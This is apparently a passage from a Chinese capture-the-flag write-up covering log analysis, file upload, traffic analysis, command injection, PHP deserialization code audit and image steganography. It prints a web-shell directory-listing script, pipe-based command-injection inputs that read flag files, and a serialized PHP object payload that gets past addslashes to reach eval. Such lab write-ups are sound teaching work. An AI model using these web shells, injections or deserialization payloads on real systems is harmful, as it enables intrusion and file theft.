两次 Base64 解密即可
日志分析#
干扰项较多,利用正则删掉没用的系统日志,只保留 ssh,可以找到
May 12 00:11:42 redhat sshd[2560]: PAM service(sshd) ignoring max retries; 6 > 3
May 12 00:26:43 redhat sshd[2606]: Received disconnect from 192.168.38.137: 11: Bye Bye
May 12 00:26:43 redhat sshd[2608]: Accepted password for root from 192.168.38.137 port 33456 ssh2
文件上传#
简单测试可以发现,没有做严格的过滤,直接上传一个大马执行
在根目录找到 flag.php 文件,打开获得 flag
流量分析#
下载下来是 wireshark 流量包,直接过滤 http 协议,发现是对小马执行的远程操作
<?php
@ini_set("display_errors", "0");
@set_time_limit(0);
@set_magic_quotes_runtime(0);
echo "->|";
$D = base64_decode($_POST["z1"]);
$F = @opendir($D);
if ($F == NULL) {
echo "ERROR:// Path Not Found Or No Permission!";
} else {
$M = NULL;
$L = NULL;
while ($N = @readdir($F)) {
$P = $D . "/" . $N;
$T = @date("Y-m-d H:i:s", @filemtime($P));
@($E = substr(base_convert(@fileperms($P), 10, 8), -4));
$R = "\t" . $T . "\t" . @filesize($P) . "\t" . $E . "\r\n";
if (@is_dir($P)) {
$M .= $N . "/" . $R;
} else {
$L .= $N . $R;
}
}
echo $M . $L;
@closedir($F);
}
echo "|<-";
die;
z1 是 base64 编码的路径名称
查看发现中途请求了一次压缩包内容,按照上述代码,应该返回的是压缩包的 16 进制信息
导出压缩包信息
删除头尾多余的 Ascii 字符后,打开压缩包,发现需要密码
通过比较发现,最后一步 POST 之后多了个 password.docx 文件,推测可能进行了文件上传
同上述方法,提取出上传的文件,保存为 1.docx,打开得到解压密码
上述压缩包输入解压密码可得 key
命令执行#
简单测试一下,发现是直接执行系统命令
尝试构造命令执行
127.0.0.1 | ls /home
127.0.0.1 | cat /home/flag.txt
获得 flag
代码审计#
代码拷贝到本地来,发现 $text 为 public,可以修改控制
<?php
class Nice
{
public $text;
function cmd($poc)
{
$p='$poc="' . addslashes($poc) . '";';
eval($p);
}
function __destruct()
{
$this->cmd($this->text);
}
}
$nice=new Nice();
$_GET[0]="./flag.php";
$nice->text='${var_dump(file_get_contents($_GET[0]))}';
$nice=serialize($nice);
var_dump($nice);
unserialize($nice);
其中,使用 addslashes 函数对符号进行转义,使用 ${}进行绕过,表示这是一个变量
payload 为:
a=O:4:"Nice":1:{s:4:"text";s:40:"${var_dump(scandir())}";}```
->发现flag.php,为了避免引号被转义,可以额外传入一个参数0获取flag
a=O:4:"Nice":1:{s:4:"text";s:40:"${var_dump(file_get_contents($_GET[0]))}";}&0=./flag.php
图像隐写#
下载下来是一张图片,用 binwalk 查看
发现里面藏着一个压缩包,使用 dd 分离压缩包
dd if=1591341008631.png of=1.zip skip=128394 bs=1
分离出的压缩包是加密的,利用爆破工具进行爆破,得到密码 1231
解压后还是一张图片,在图片尾部发现 flag
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论